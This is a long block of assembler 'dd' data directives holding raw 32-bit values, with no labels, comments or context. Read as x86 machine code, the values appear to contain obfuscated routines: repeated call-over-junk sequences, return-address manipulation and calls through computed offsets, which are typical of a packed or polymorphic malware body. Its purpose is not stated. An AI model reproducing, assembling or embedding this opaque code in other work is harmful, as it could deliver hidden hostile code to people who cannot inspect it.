dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 552BB12Fh
dd 59C8D9Ch, 2B718589h, 0F68007E0h, 81958BB7h, 8B07E020h
dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0A9FEF3F2h, 5BAA12A9h, 0C18150FBh, 21B12B98h
dd 39D9815Fh, 8302223Dh, 0E006B1BDh, 9750007h, 1C5BD83h
dd 740007E0h, 8B535019h, 43DB8C0h, 85890000h, 7E020F5h
dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
dd 43DB853h, 85890000h, 7E020F5h, 0B9519D8Dh, 0D3FF07E2h
dd 5F56585Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 39C35747h, 0B97BF305h, 29C421E4h, 0C08BC08Bh, 0DE9h
dd 0E5B0B500h, 3DA21B1Ah, 94EE0E93h, 0BD832FD3h, 7E006B1h
dd 83097500h, 0E001C5BDh, 13740007h, 0C08B5350h, 0B8h
dd 49D8D00h, 0FF07E2BBh, 83585BD3h, 0E001C5BDh, 11740007h
dd 0B85350h, 8D000000h, 0E2B9B59Dh, 5BD3FF07h, 9BD68058h
dd 5880Fh, 24BF0000h, 8B5301F6h, 8DB956C0h, 5A41F9B0h
dd 0D781C08Bh, 0CA141CFh, 6B1BD83h, 750007E0h, 0C5BD8309h
dd 7E001h, 53501374h, 0B8C08Bh, 8D000000h, 0E2BA369Dh
dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h, 0B8h, 839D8D00h
dd 0FF07E2B9h, 81585BD3h, 126ED1E9h, 51006A25h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0E2D2817Dh
dd 8B5DDD7Eh, 59BD8BC0h, 8B07E02Dh, 8C7EBAC0h, 0BD836C38h
dd 7E006B1h, 83097500h, 0E001C5BDh, 13740007h, 0C08B5350h
dd 0B8h, 9D9D8D00h, 0FF07E2BAh, 83585BD3h, 0E001C5BDh
dd 11740007h, 0B85350h, 8D000000h, 0E2B99C9Dh, 5BD3FF07h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 5157EE23h, 0ED48A5C6h, 2C6D9D89h, 0B70F07E0h
dd 0F5C580D6h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 8D8B82C3h, 7E01671h, 0DEDBD23h
dd 0C08B07E0h, 14E9h, 0B72C9A00h, 0AB7D7B68h, 67BFA507h
dd 0D912563h, 200000Eh, 0B1BD8362h, 7E006h, 0BD830975h
dd 7E001C5h, 50137400h, 0B8C08B53h, 0
dd 0B9CF9D8Dh, 0D3FF07E2h, 8D8B585Bh, 7E02FCDh, 0B1858950h
dd 5F07E026h, 0F680C08Bh, 519529F1h, 8B07E004h, 83F98BC0h
dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h
dd 7D0B8C0h, 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h
dd 0BD83585Bh, 7E001C5h, 50177400h, 7D0B853h, 85890000h
dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0EF81585Bh, 11F67F6Ch
dd 0BE8h, 0DD9BAD00h, 8C7BA9D0h, 0F82A467Dh, 0B3D99EB9h
dd 0C08B5937h, 30718D29h, 85C607E0h, 7E00759h, 71B58953h
dd 6807E005h, 99395F90h, 14E9h, 0A48CC00h, 0B2C51CA6h
dd 0B87043F0h, 4518081Bh, 23E42FF4h, 0ECC8BF3Bh, 0B5FF1F3Ch
dd 7E02F01h, 5820F60h, 0BE000000h, 1B487368h, 153D8531h
dd 8D6107E0h, 0E039F885h, 68D0F07h, 89000000h, 0E0123595h
dd 6AD0FF07h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 786DC350h, 0E9A3D097h, 10h, 5ED8012Eh
dd 0F65BF7E6h, 0F8546E8Ch, 8D1CEEC6h, 20918589h, 6E807E0h
dd 53000000h, 744705D5h, 59FA8B16h, 75985C6h, 6A5707E0h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 8169C353h, 0BD9798F1h, 52066876h, 0B5FF9004h
dd 7E02F01h, 0AC9A76BAh, 0F8858D77h, 0E907E039h, 5, 0AB4E81AAh
dd 89D0FFBEh, 0E01C998Dh, 89858907h, 6607E033h, 6A3EE981h
dd 2118D0Bh, 85C607E0h, 7E00759h, 2DB52943h, 0BA07E007h
dd 3803C7A3h, 90702868h, 53006ABCh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 715C6AC5h, 1B5FF91h, 6A07E02Fh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 493EC351h, 64E5D2CCh, 9E4910B7h, 3C0AF8BFh
dd 0F8858D78h, 6A07E039h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 993C357h, 0E99589D6h
dd 8B07E018h, 0E02CE9BDh, 66D0FF07h, 1AE9D181h, 1AA58589h
dd 0F5007E0h, 118Eh, 0CE900h, 0C2270000h, 0C5A7A984h, 2162AFABh
dd 8059B2B8h, 85C63ADDh, 7E00759h, 1CE9684Ch, 0B5FFD9DAh
dd 7E02F01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0CAC35141h, 0ADB25049h, 3D6CDEFh, 0F8858D61h, 8107E039h
dd 65164ECFh, 0FCD0FF1Ah, 1F6D8589h, 0D1BF07E0h, 0C66FF67Dh
dd 0E0075985h, 6A4607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0DE630AC3h, 0E9B783ADh, 858B6039h
dd 7E01555h, 93D08166h, 146861AAh, 51BADE06h, 8F95EF81h
dd 0FF5A7105h, 0E02F01B5h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 65BDE20Ah
dd 89FD5BD4h, 0E008D99Dh, 0F8858D07h, 0E807E039h, 14h
dd 861B7E33h, 8AC94537h, 0A7CC8CBCh, 988C488Eh, 471AB9EBh
dd 2EDD958Bh, 0FF5A07E0h, 14E9D0h, 96CD0000h, 2411AC9Bh
dd 0AF8D8CBh, 881DDDF6h, 56A7246Dh, 85899B36h, 7E02F25h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BFC35343h
dd 80AB73E3h, 85C6A3C9h, 7E00759h, 0C1B58947h, 6807E033h
dd 8A0FB5E2h, 22798D8Bh, 806007E0h, 61F557DCh, 2F01B5FFh
dd 0B8BA07E0h, 8D4280E2h, 0E039F885h, 0FF69B507h, 11E9D0h
dd 85470000h, 0F317A822h, 594C80Dh, 5AD88D20h, 8959B6B7h
dd 0E01D0585h, 898D8B07h, 0C607E011h, 0E0075985h, 0E9F54707h
dd 6, 6665D00h, 0F368B966h, 6083D0B5h, 20B1B589h, 8A0F07E0h
dd 6, 29F9BD03h, 0FF6107E0h, 0E02F01B5h, 0F59D8907h, 8D07E024h
dd 0E039F885h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 5CAD2131h, 0BAD0FF82h
dd 7480605Ah, 1B8D8589h, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 250255C3h, 19C7F25Ah
dd 0E95CD5F8h, 7, 33D997F7h, 0FDA6740h, 198Ah, 14E900h
dd 0DFB00000h, 88BDD70Ch, 657B308Dh, 0C9D66382h, 93D529E5h
dd 85C6EC66h, 7E00759h, 6880F77h, 0B000000h, 0E02679BDh
dd 0A8A36807h, 0FFF9F397h, 0E03085B5h, 1830F07h, 0F5000000h
dd 0AE9h, 82AA2300h, 0AF0A4342h, 8D194F0Bh, 0E039F885h
dd 0E59D2907h, 0FF07E02Ah, 56006AD0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0A4E8C164h
dd 0F957C6E3h, 958B1307h, 7E02B75h, 19D1BD8Bh, 858907E0h
dd 7E01881h, 0CE8h, 4BE88E00h, 0A339D52Fh, 0A0910E2Ch
dd 9E86Bh, 0A9360000h, 6A2BA051h, 66AA8282h, 5A0ED9B9h
dd 5985C65Fh, 4707E007h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 88C35646h, 0F668DAF8h, 6A8728FAh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0A449C352h, 1B5FF72h, 5307E02Fh, 3C1CABB9h, 858D5F18h
dd 7E039F8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 0C35040h, 0ED5502A5h, 0FDBD2360h, 0FF07E02Fh, 51006AD0h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0D68B5634h, 18A0F59h, 0F9000000h, 289D8589h, 0BD8B07E0h
dd 7E03251h, 75985C6h, 0E94307E0h, 10h, 4F231846h, 0BC7F6321h
dd 0A67417D3h, 0F2806756h, 8E6EFC68h, 5DE980BCh, 2F01B5FFh
dd 0BD8907E0h, 7E01435h, 39F8858Dh, 0BD8907E0h, 7E02D5Dh
dd 0ABFD0FFh, 8924DC34h, 0E02E4985h, 5952907h, 0C607E020h
dd 0E0075985h, 6A4507h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0B59EC0C3h, 2C9A4FB6h, 8D8B68B7h
dd 7E026D9h, 72696968h, 0E1BD2B8Eh, 8B07E01Ch, 0E0255D95h
dd 1B5FF07h, 2907E02Fh, 0E008FD8Dh, 0F8858D07h, 0F07E039h
dd 484h, 0FDB15100h, 0FD0FF59h, 8B66FBBFh, 0FD8589D7h
dd 0E907E028h, 0Dh, 8DA67D2Ch, 0FFB9F68Eh, 0F1FBA6C3h
dd 5985C620h, 4407E007h, 1D399589h, 646807E0h, 80B8F2ECh
dd 0B5FFC6D6h, 7E02F01h, 0E0B4BA66h, 39F8858Dh, 9D8907E0h
dd 7E03445h, 8D8BD0FFh, 7E0227Dh, 1EB98589h, 0FE807E0h
dd 82000000h, 9E79EA2h, 0AE23992h, 29F53BC8h, 1595485h
dd 0E02D419Dh, 5985C607h, 4307E007h, 1A5BD8Bh, 0BD8B07E0h
dd 7E0058Dh, 764AA768h, 1B5FFC0h, 6A07E02Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0A8D2C356h, 858D9AA7h, 7E039F8h, 6E9h, 11187400h, 0FFF3CED8h
dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 89AB8A7Eh, 0E001B985h, 0BD80FC07h, 7E309C5h
dd 0C7840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 544DC357h, 1E8D7D1h
dd 0E013799Dh, 598D8B07h, 8D07E02Eh, 0E309A785h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 8CBFC48Fh, 0EAE540C1h, 2AA9BD09h, 895007E0h, 0E01BFD95h
dd 60016A07h, 89F28B66h, 0E03371BDh
dd 6A6107h, 0BE950h, 16FF0000h, 0C523EE97h, 59A77D5Fh
dd 66605A71h, 0BE66F28Bh, 6A615E41h, 1958B00h, 0FF07E002h
dd 0E01AA595h, 0DFD5BF07h, 95896617h, 7E00849h, 1C018589h
dd 0B70F07E0h, 81FF6AC8h, 942584D1h, 1B5FF75h, 0B107E01Ch
dd 8995FF84h, 0F07E033h, 0C08BFAB7h, 35C78166h, 0B1BD8389h
dd 7E006h, 0BD830975h, 7E001C5h, 50197400h, 0B8C08B53h
dd 7D1h, 20F58589h, 9D8D07E0h, 7E2BC62h, 585BD3FFh, 1C5BD83h
dd 740007E0h, 0B8535017h, 7D1h, 20F58589h, 9D8D07E0h, 7E2B951h
dd 585BD3FFh, 5AC88B56h, 30818D89h, 0C08B07E0h, 1F840Fh
dd 13E80000h, 0F7000000h, 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h
dd 7F4C0E01h, 0BD33392Fh, 7E01D01h, 5985C659h, 4707E007h
dd 8E9h, 72452600h, 19BDEEE9h, 0F7C168F6h, 6A93C8h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 61676DC3h, 0C3754C6Ch, 21B58994h, 0FF07E01Ah, 0E02F01B5h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 8D8DE8B0h, 0E039F885h, 5810F07h, 0BA000000h
dd 4C033218h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 5010EBC3h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 0BFC35545h, 815DCA7Bh, 0C49F13EFh
dd 9E93Ch, 8450000h, 9F21B312h, 8D3D5A9Eh, 0E30DE885h
dd 0FE807h, 4A1A0000h, 0BEAEB108h, 62A8E747h, 9EBB5C54h
dd 0D58D891Eh, 5F07E007h, 9400C7h, 58FC0000h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 3EC35545h, 0F9581BE8h
dd 3BBA9A12h, 8D57AE8Dh, 0E30DE8B5h, 0ABBF6607h, 0D48A5667h
dd 958BD0FFh, 7E015A1h, 0DE8858Dh, 6A07E3h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 17167FC3h
dd 10E960A1h, 8D000000h, 5DCE9A61h, 33F7CE14h, 6DBFEBA6h
dd 0F8D8641h, 689h, 0D9852B00h, 6107E033h, 78831CB2h, 850F0604h
dd 4Ch, 11E9h, 0CDC76600h, 21D9953Eh, 1DE5C5h, 0A73991B9h
dd 0DE941D5h, 0BF000000h, 0F5C531E0h, 7A687013h, 342B2AABh
dd 0E7C85C7h, 107E3h, 0EE80000h, 0F000000h, 80CE475Fh
dd 0A4742D13h, 0D1F4377Fh, 0BDB52977h, 5A07E021h, 2D6DBD83h
dd 0F0007E0h, 6085h, 7CBD8300h, 7E30Eh, 53850Fh, 85890000h
dd 7E0090Dh, 1CA9BD83h, 0F0007E0h, 4084h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 14F31061h, 0E985DCF4h, 0CF8AB3FFh, 226985C7h, 7E0h
dd 0AE90000h, 83000000h, 9A56C3EFh, 0D02FE09Dh, 0DB8C66EBh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DC35646h
dd 9D894C79h, 7E02D35h, 23758D8Bh, 0C3F607E0h, 0F8840F04h
dd 66000004h, 698AD781h, 16B185C7h, 7E0h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BD8071C3h, 7E309D2h, 1850F00h, 0FC000000h, 75985C6h
dd 6A4707E0h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 3A2AC351h, 3A66391Eh, 0B65D66A2h
dd 5B8668F1h, 0B5FFE3E4h, 7E02F01h, 3455BD8Bh, 858D07E0h
dd 7E039F8h, 0E9606CB2h, 5, 0BDD70CDFh, 61FDB188h, 68FCD0FFh
dd 104h, 6676CA80h, 1707F781h, 0E2D9D8Dh, 0BD2307E0h, 7E000C5h
dd 21BD8B53h, 0FF07E012h, 68B0FD0h, 0B000000h, 0E01B9195h
dd 2D858D07h, 6A07E00Eh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 11C8C352h, 0DF8A2A28h
dd 0D2B70F26h, 0D18B6651h, 6A505Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 850932C3h
dd 7E019A5h, 0FE9h, 990E4400h, 0F6A69413h, 37F4ED61h, 6F3260D3h
dd 984858Dh, 0BA6607E3h, 6A509252h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A890C356h
dd 0E18166F5h, 858DDEADh, 7E30057h, 6800Fh, 0BD8B0000h
dd 7E02AA9h, 50F9BF0Fh, 4820Fh, 0B9660000h, 95FFB2E1h
dd 7E01881h, 835AF852h, 6A0CC4h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 77F0C6C3h, 3A957964h
dd 6A9AFFh, 8068h, 6A036A00h, 68006A00h, 80000000h, 57858Dh
dd 0FF5007E3h, 0E02E4995h, 67858907h, 0C607E309h, 0E0075985h
dd 87684707h, 0FFC7B15Eh, 0E02F01B5h, 0F8858D07h, 0FF07E039h
dd 0FF006AD0h, 0E30967B5h, 0B6D0FF07h, 3DD78AD1h, 37D0h
dd 33830Fh, 0BD8B0000h, 7E020F9h, 967B5FFh, 0BD3307E3h
dd 7E00819h, 1B995FFh, 8D8B07E0h, 7E025B9h, 0A4E9h, 9606000h
dd 0E0241DBDh, 959D8907h, 6107E023h, 67B5FF61h, 0E907E309h
dd 8, 0BE679452h, 920742DEh, 1B995FFh, 9D2907E0h, 7E01E65h
dd 0BD89006Ah, 7E01DADh, 6AFC006Ah, 0D58A5700h, 6A006A5Ah
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0F14EC356h, 0BD8BB41Dh, 7E01E81h, 1375B531h
dd 6A07E0h, 8D8B006Ah, 7E019E1h, 96B858Dh, 816607E3h, 50D938CAh
dd 1CAD958Bh, 95FF07E0h, 7E02E49h, 10B18D09h, 0F88307E0h
dd 8C850FFFh, 81000001h, 458E54D9h, 0DE858D7Bh, 0F07E2BFh
dd 680h, 0B1852900h, 5707E001h, 58D8Bh, 0FF5A07E0h, 52006AD0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 420FF65Ch, 81624F0Eh, 0BBEA8166h, 81006AF7h, 0E6075BD1h
dd 0D58D8922h, 6A07E010h, 19958B00h, 0F07E00Bh, 686h, 55BD8B00h
dd 6A07E031h, 0D68B6600h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 598054C3h, 958BA8B4h
dd 7E0135Dh, 66CBBF0Fh, 0D7C7E781h, 8A56006Ah, 8D0B5AF0h
dd 7E033E5h, 0B70F006Ah, 6B858DD6h, 8907E309h, 0E0138D8Dh
dd 6A5007h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 48683EC3h, 428156h, 24F59531h, 95FF07E0h
dd 7E02E49h, 68E0Fh, 9D890000h, 7E01219h, 0FFFF883h, 8A85h
dd 0B58DF900h, 7E30373h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 4AC35343h, 812AB560h, 4160ACE7h, 858D6158h
dd 7E2AE58h, 6E9h, 500EDD00h, 0FF90B481h, 57006AD0h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 6B7E0365h, 0DFA56721h, 79B501EBh, 8907E01Fh, 0E01371BDh
dd 0F006A07h, 682h, 0AEDA8100h, 0FF65E49Bh, 0E028FD95h
dd 898D8907h, 8907E000h, 0E3096785h, 61958B07h, 6A07E01Bh
dd 8D67B600h, 0E3095F85h, 0D9858907h, 5007E00Fh, 1A29BD29h
dd 46A07E0h, 23018589h, 858D07E0h, 7E02A89h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 65C35343h, 0C5E47935h
dd 1DCF310Ah, 4A59D89h, 0B65007E0h, 65B50917h, 6A07E012h
dd 0B6EF8100h
dd 6A5D3F5Dh, 558D8900h, 6A07E008h, 67B5FF01h, 0E907E309h
dd 0Bh, 8964C7D7h, 6D66F2D3h, 0FF883442h, 0E01EB995h, 9E907h
dd 0E1760000h, 97B143BFh, 0E996F2A3h, 1BD5h, 1DADB589h
dd 816607E0h, 8BA0FFDAh, 0B18D8BC0h, 8307E026h, 0E006B1BDh
dd 9750007h, 1C5BD83h, 740007E0h, 8B535019h, 7D2B8C0h
dd 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh
dd 7E001C5h, 50177400h, 7D2B853h, 85890000h, 7E020F5h
dd 0B9519D8Dh, 0D3FF07E2h, 0CF8B585Bh, 0BF0FC08Bh, 0B185C7D2h
dd 107E016h, 52000000h, 5F58D980h, 0E4E7B868h, 71B5FFCEh
dd 8D07E01Bh, 0E039F885h, 89D0FF07h, 0E0089185h, 0C3858D07h
dd 5007E30Bh, 0E80858Dh, 685007E3h, 80000001h, 89195FFh
dd 0C00B07E0h, 85C70A75h, 7E00FCDh, 1, 5DBD468h, 71B5FFC0h
dd 8D07E01Bh, 0E039F885h, 89D0FF07h, 0E022FD85h, 10858D07h
dd 5007E2FEh, 2F01B5FFh, 95FF07E0h, 7E01D05h, 0B74C00Bh
dd 858DD88Bh, 7E30DC3h, 8DD3FF50h, 0E30DC385h, 38836607h
dd 0C70A7509h, 0E0056985h, 107h, 9D95FF00h, 2507E028h
dd 0FFh, 7305F883h, 0B585C70Ah, 107E023h, 80000000h, 9D8908C9h
dd 7E02535h, 9D2BD80h, 0F0007E3h, 2384h, 83C88B00h, 0E30E7CBDh
dd 840F0007h, 2Ah, 0FE9h, 0BDFF1300h, 7954D520h, 9041CF25h
dd 81207C2h, 1A78E9h, 5E800h, 0B8AB0000h, 89C9E88Ch, 0E01AD5BDh
dd 0BD835A07h, 7E00569h, 0FF850F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 565CC356h, 0BD8B8D0Dh, 7E0162Dh, 201BD89h, 858D07E0h
dd 7E3099Ch, 8B503BB2h, 6A016AFEh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8CD8C356h
dd 0C283E288h, 896063C8h, 0E0020185h, 0CAEB8107h, 615B660Eh
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 5C4285C3h, 0B4120E9h, 0E025118Dh, 66006A07h
dd 95FFCE8Bh, 7E01AA5h, 13B58D33h, 858907E0h, 7E309C6h
dd 0DE9h, 970B5700h, 367A758Dh, 7B59C117h, 0FF6A42DCh
dd 11E9h, 641AC400h, 791659B2h, 0B8117847h, 9B42EA02h
dd 0B5FF9CB8h, 7E309C6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0F6C35343h, 95FF11E7h, 7E03389h, 858D73B6h
dd 7E2FDD7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 0AFC35646h, 0CA892D06h, 89CE8B13h, 0E0157985h
dd 6A5007h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0EB63ADC3h, 0A36B7DAh, 5E9h, 3F200700h, 95FFD13Ah
dd 7E01F6Dh, 24359589h, 0D68007E0h, 618589ACh, 8B07E2FEh
dd 0E026758Dh, 0E4858D07h, 8907E2FDh, 0E023A5B5h, 0CE95007h
dd 40000000h, 0A7FDD57Bh, 0DB0CA3D9h, 0FFE15C7Ah, 0E2FE61B5h
dd 89BD8907h, 0FF07E010h, 0E01D0595h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 7E5E2060h, 40D5B966h, 16758589h, 6A07E0h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 15DBBDC3h
dd 5CCCD363h, 342D9529h, 858D07E0h, 7E2FE52h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4AC35040h, 191996CBh
dd 81A2F54Ah, 0EEE937E2h, 0B5FF5038h, 7E2FE61h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 65C35040h, 2A931940h
dd 800823C3h, 95FF1BE5h, 7E01D05h, 0B23BE281h, 85892A29h
dd 7E2FE75h, 19458D33h, 858D07E0h, 7E2FE31h, 39EA8166h
dd 0EF81509Ch, 792C9A4Bh, 0FE61B5FFh, 0BD0B07E2h, 7E01A9Dh
dd 1D0595FFh, 0D28007E0h, 6D85890Fh, 0F07E2FEh, 858DD1B7h
dd 7E2FE24h, 1D1D9D29h, 515007E0h, 2DC19D89h, 0F5A07E0h
dd 0B5FFCFB7h, 7E2FE61h, 0AA5AF781h, 8D8B5558h, 7E03165h
dd 1D0595FFh, 858907E0h, 7E01689h, 0FE718589h, 0B70F07E2h
dd 3F858DCEh, 6A07E2FEh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0DC46C355h, 12E8h
dd 160E6B00h, 0DA41B950h, 1B2CBE45h, 11729D8Ch, 8AE1DD72h
dd 0EE95AD5h, 0CC000000h, 0F2989D42h, 0D2A0228Dh, 60E99C91h
dd 0D78A50E8h, 0FE61B5FFh, 8B6007E2h, 18850FFAh, 0E8000000h
dd 12h, 9E127515h, 1C718157h, 68E6399Eh, 0FE932D80h, 615E8C49h
dd 1D0595FFh, 0D58007E0h, 7D8589CDh, 0F07E026h, 858DD3BFh
dd 7E2FDF3h, 26B1B589h, 958B07E0h, 7E01C75h, 56006A50h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 89813F8Dh, 0BD17D2F6h, 0FE61B5FFh, 0EA8107E2h, 21B2CAB0h
dd 1D0595FFh, 0CF8A07E0h, 0FE658589h, 8B6607E2h, 2858DF8h
dd 8107E2FEh, 0F5969EFh, 6A5039h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 0FC3FB0C3h, 0FE61B5FFh
dd 9E807E2h, 83000000h, 62BCA0ECh, 1AE1EB60h, 5F5F5052h
dd 595FF59h, 8B07E01Dh, 0E005B18Dh, 69858907h, 8B07E2FEh
dd 0E013718Dh, 1046807h, 0B9660000h, 858DA9F0h, 7E2FEF9h
dd 880Fh, 0BF660000h, 0F501220h, 683h, 75B58900h, 8D07E006h
dd 0E2FFFD85h, 0CE8B6607h, 0B18D8950h, 0FF07E030h, 0E01B8D95h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 0F238137Dh, 810F566Dh, 6, 2AA98D8Bh, 0C08507E0h
dd 6850Fh, 958B0000h, 7E02FFDh, 9D2BD80h, 0F0007E3h, 1B85h
dd 0FE900h, 0C4020000h, 66242600h, 0EE9716FFh, 7D5FC523h
dd 15A7E9A7h, 5A520000h, 569BD83h, 0F0007E0h, 3585h, 15810F00h
dd 0E9000000h, 10h, 0DCD24DCAh, 8E85AB8Bh, 0F69C487Eh
dd 0A243DA4Fh, 0E7CBD83h, 0F0007E3h, 4884h, 0E2816600h
dd 2952D85Ah, 0E030D185h, 858D5907h, 7E2FE96h, 0DEE98166h
dd 1553E9C3h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0FC1024C3h, 0FE90755h, 8B000000h
dd 0E0308195h, 81858D07h, 8007E2FEh, 89502FD5h, 0E031DD95h
dd 858DF507h, 7E2FEF9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 1CC35545h, 18057CA1h, 958B6798h, 7E01B81h
dd 0F88B6650h, 569BD83h, 0F0007E0h, 1A84h, 918D8B00h, 8D07E021h
dd 0E3001F85h, 0CFBF0F07h, 10E9h, 0B5BD2900h, 8D07E02Fh
dd 0E3000885h, 16B96607h, 8D8B50B5h, 7E004D1h, 57858DF9h
dd 907E300h, 0E0069D85h, 0BD295007h, 7E01D1Dh, 188195FFh
dd 0EF8107E0h, 4CBCF3E6h, 19399529h, 0C48307E0h, 81665310h
dd 5F58B3CFh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 61DFFBC3h, 0D8111874h, 0B1BD83F8h
dd 7E006h, 0BD830975h, 7E001C5h, 50197400h, 0B8C08B53h
dd 7D3h, 20F58589h, 9D8D07E0h, 7E2BC62h, 585BD3FFh, 1C5BD83h
dd 740007E0h, 0B8535017h, 7D3h, 20F58589h, 9D8D07E0h, 7E2B951h
dd 585BD3FFh, 0F8BF86B1h, 8B2C00D8h, 0BD8509C0h, 8107E025h
dd 0E2FE81BDh, 65726F07h, 8A840F61h, 81000000h, 0A24906D1h
dd 0F9858D51h, 5007E2FEh, 36858Dh, 8D5007E3h, 0E3005785h
dd 95FF5007h, 7E01881h, 0C60CC483h, 0E0075985h, 4F684407h
dd 0FF96A318h, 0E02F01B5h, 0F8858D07h, 0FF07E039h, 8DD88BD0h
dd 0E3005785h, 0D3FF5007h, 0FE81858Dh, 8D5007E2h, 0E2FEF985h
dd 0BD835007h, 7E00569h, 8D087400h, 0E3001F85h, 8D06EB07h
dd 0E3000885h, 858D5007h, 7E30057h, 8195FF50h, 8307E018h
dd 8B910C4h, 294DB731h, 0E007BD95h, 9D95FF07h, 6607E028h
dd 2538E6BAh, 0FFh, 2AA99501h, 0F88307E0h, 52830F05h, 52000000h
dd 61BD8B50h, 5907E018h, 0B585C75Fh, 107E023h, 8D000000h
dd 0E2FEB585h, 958B5007h, 7E033ADh, 0B529515Fh, 7E01D71h
dd 9AE95Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 31A08AC3h, 0E0106D85h, 69BD8307h
